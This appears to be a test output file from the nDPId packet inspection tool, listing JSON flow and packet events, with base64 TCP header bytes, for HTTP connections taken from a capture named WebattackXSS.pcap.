+00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":6,"flow_first_seen":1499347128311,"flow_last_seen":1499347133649,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53906,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":6,"flow_first_seen":1499347128311,"flow_last_seen":1499347133649,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53906,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":6,"flow_first_seen":1499347129584,"flow_last_seen":1499347134649,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53920,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":6,"flow_first_seen":1499347129584,"flow_last_seen":1499347134649,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53920,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":6,"flow_first_seen":1499347132137,"flow_last_seen":1499347137650,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53946,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":6,"flow_first_seen":1499347132137,"flow_last_seen":1499347137650,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53946,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":6,"flow_first_seen":1499347133434,"flow_last_seen":1499347138651,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53960,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":6,"flow_first_seen":1499347133434,"flow_last_seen":1499347138651,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53960,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":6,"flow_first_seen":1499347134702,"flow_last_seen":1499347140651,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53974,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":6,"flow_first_seen":1499347134702,"flow_last_seen":1499347140651,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53974,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":135,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1964,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347202,"pkt_ts_usec":670148,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jK1AAD4GOSusEAABwKgKMtVqAFDoUUTSFM+xKoARAOXJnwAAAQEICgE5zWYD45nw"} +00433{"flow_id":135,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1965,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347202,"pkt_ts_usec":670342,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0L\/dAAEAGk+HAqAoyrBAAAQBQ1WoUz7Eq6FFE04ARAOPEswAAAQEICgPjnt0BOc1m"} +00432{"flow_id":135,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1966,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347202,"pkt_ts_usec":671105,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jK5AAD4GOSqsEAABwKgKMtVqAFDoUUTTFM+xK4AQAOXEsQAAAQEICgE5zWYD457d"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1967,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1499347202722,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54688,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":138,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1967,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347202,"pkt_ts_usec":722084,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83mxAAD4G52OsEAABwKgKMtWgAFD5fxMfAAAAAKACchCtxwAAAgQFtAQCCAoBOc1zAAAAAAEDAwc="} +00444{"flow_id":138,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1968,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347202,"pkt_ts_usec":722138,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1aA8zHVU+X8TIKAScSBZuAAAAgQFtAQCCAoD457qATnNcwEDAwc="} +00432{"flow_id":138,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1969,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347202,"pkt_ts_usec":722724,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03m1AAD4G52qsEAABwKgKMtWgAFD5fxMgPMx1VYAQAOX4vwAAAQEICgE5zXMD457q"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1982,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1499347205214,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54714,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":139,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1982,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347205,"pkt_ts_usec":214121,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZeBAAD4GX\/CsEAABwKgKMtW6AFAegaoCAAAAAKACchDvWQAAAgQFtAQCCAoBOc\/iAAAAAAEDAwc="} +00444{"flow_id":139,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1983,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347205,"pkt_ts_usec":214328,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1bp74sNGHoGqA6AScSAL0wAAAgQFtAQCCAoD46FZATnP4gEDAwc="} +00433{"flow_id":139,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1985,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347205,"pkt_ts_usec":215149,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZeFAAD4GX\/esEAABwKgKMtW6AFAegaoDe+LDR4AQAOWq2QAAAQEICgE5z+MD46FZ"} +00432{"flow_id":136,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1988,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347205,"pkt_ts_usec":671383,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eglAAD4GS8+sEAABwKgKMtWEAFAb8rDzAgZieIARAOWF1AAAAQEICgE50FUD45xs"} +00433{"flow_id":136,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1989,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347205,"pkt_ts_usec":671601,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0w7NAAEAGACXAqAoyrBAAAQBQ1YQCBmJ4G\/Kw9IARAOOAdgAAAQEICgPjocsBOdBV"} +00432{"flow_id":136,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1990,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347205,"pkt_ts_usec":672351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0egpAAD4GS86sEAABwKgKMtWEAFAb8rD0AgZieYAQAOWAdAAAAQEICgE50FUD46HL"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1994,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1499347206497,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54728,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":140,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1994,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347206,"pkt_ts_usec":497401,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA85d9AAD4G3\/CsEAABwKgKMtXIAFBJFTT8AAAAAKACchA4fQAAAgQFtAQCCAoBOdEjAAAAAAEDAwc="} +00446{"flow_id":140,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1995,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347206,"pkt_ts_usec":497524,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1cindk\/NSRU0\/aAScSCbmwAAAgQFtAQCCAoD46KZATnRIwEDAwc="} +00433{"flow_id":140,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1996,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347206,"pkt_ts_usec":498250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA05eBAAD4G3\/esEAABwKgKMtXIAFBJFTT9p3ZPzoAQAOU6owAAAQEICgE50SMD46KZ"} +00432{"flow_id":137,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2000,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347206,"pkt_ts_usec":671047,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JEZAAD4GoZKsEAABwKgKMtWSAFCOe+iAcVM5iYARAOWTEgAAAQEICgE50U8D452x"} +00433{"flow_id":137,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2001,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347206,"pkt_ts_usec":671231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0m0xAAEAGKIzAqAoyrBAAAQBQ1ZJxUzmJjnvogYARAOON\/wAAAQEICgPjosUBOdFP"} +00433{"flow_id":137,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2002,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347206,"pkt_ts_usec":672011,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JEdAAD4GoZGsEAABwKgKMtWSAFCOe+iBcVM5ioAQAOWN\/QAAAQEICgE50U8D46LF"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2006,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1499347207764,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54742,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":141,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2006,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347207,"pkt_ts_usec":764522,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8oEFAAD4GJY+sEAABwKgKMtXWAFBZgnIhAAAAAKACchDpnwAAAgQFtAQCCAoBOdJgAAAAAAEDAwc="} +00444{"flow_id":141,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2007,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347207,"pkt_ts_usec":764615,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1dboCFwKWYJyIqAScSD+sQAAAgQFtAQCCAoD46PWATnSYAEDAwc="} +00432{"flow_id":141,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2008,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347207,"pkt_ts_usec":765413,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oEJAAD4GJZasEAABwKgKMtXWAFBZgnIi6AhcC4AQAOWduQAAAQEICgE50mAD46PW"} +00432{"flow_id":138,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2012,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347208,"pkt_ts_usec":671466,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03m5AAD4G52msEAABwKgKMtWgAFD5fxMgPMx1VYARAOXy7gAAAQEICgE500MD457q"} +00432{"flow_id":138,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2013,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347208,"pkt_ts_usec":671653,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA00exAAEAG8evAqAoyrBAAAQBQ1aA8zHVV+X8TIYARAOPtIAAAAQEICgPjpLkBOdND"} +00432{"flow_id":138,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2014,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347208,"pkt_ts_usec":672448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03m9AAD4G52isEAABwKgKMtWgAFD5fxMhPMx1VoAQAOXtHgAAAQEICgE500MD46S5"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2024,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1499347210270,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54768,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":142,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2024,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347210,"pkt_ts_usec":270105,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8H3tAAD4GplWsEAABwKgKMtXwAFCR7supAAAAAKACchBVHwAAAgQFtAQCCAoBOdTSAAAAAAEDAwc="} +00444{"flow_id":142,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2025,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347210,"pkt_ts_usec":270240,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1fCjgnLike7LqqAScSCVbAAAAgQFtAQCCAoD46ZJATnU0gEDAwc="} +00432{"flow_id":142,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2026,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347210,"pkt_ts_usec":270995,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H3xAAD4GplysEAABwKgKMtXwAFCR7suqo4Jy44AQAOU0dAAAAQEICgE51NID46ZJ"} +00433{"flow_id":139,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2030,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347210,"pkt_ts_usec":672145,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZeJAAD4GX\/asEAABwKgKMtW6AFAegaoDe+LDR4ARAOWlhAAAAQEICgE51TcD46FZ"} +00432{"flow_id":139,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2031,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347210,"pkt_ts_usec":672337,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZepAAEAGXe7AqAoyrBAAAQBQ1bp74sNHHoGqBIARAOOgMQAAAQEICgPjpq0BOdU3"} +00433{"flow_id":139,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2032,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347210,"pkt_ts_usec":673115,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZeNAAD4GX\/WsEAABwKgKMtW6AFAegaoEe+LDSIAQAOWgLwAAAQEICgE51TcD46at"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2037,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1499347211522,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54782,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":143,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2037,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347211,"pkt_ts_usec":522672,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86VZAAD4G3HmsEAABwKgKMtX+AFCmKj9dAAAAAKACchDL6AAAAgQFtAQCCAoBOdYLAAAAAAEDAwc="} +00445{"flow_id":143,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2038,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347211,"pkt_ts_usec":522744,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1f624YVgpio\/XqAScSDlHwAAAgQFtAQCCAoD46eCATnWCwEDAwc="} +00432{"flow_id":143,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2039,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347211,"pkt_ts_usec":523534,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06VdAAD4G3ICsEAABwKgKMtX+AFCmKj9etuGFYYAQAOWEJgAAAQEICgE51gwD46eC"} +00433{"flow_id":140,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2042,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347211,"pkt_ts_usec":673168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA05eFAAD4G3\/asEAABwKgKMtXIAFBJFTT9p3ZPzoARAOU1lAAAAQEICgE51jED46KZ"} +00434{"flow_id":140,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2043,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347211,"pkt_ts_usec":673389,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA06GlAAEAG227AqAoyrBAAAQBQ1cindk\/OSRU0\/oARAOMwhwAAAQEICgPjp6cBOdYx"} +00433{"flow_id":140,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2044,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347211,"pkt_ts_usec":674094,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA05eJAAD4G3\/WsEAABwKgKMtXIAFBJFTT+p3ZPz4AQAOUwhQAAAQEICgE51jED46en"} 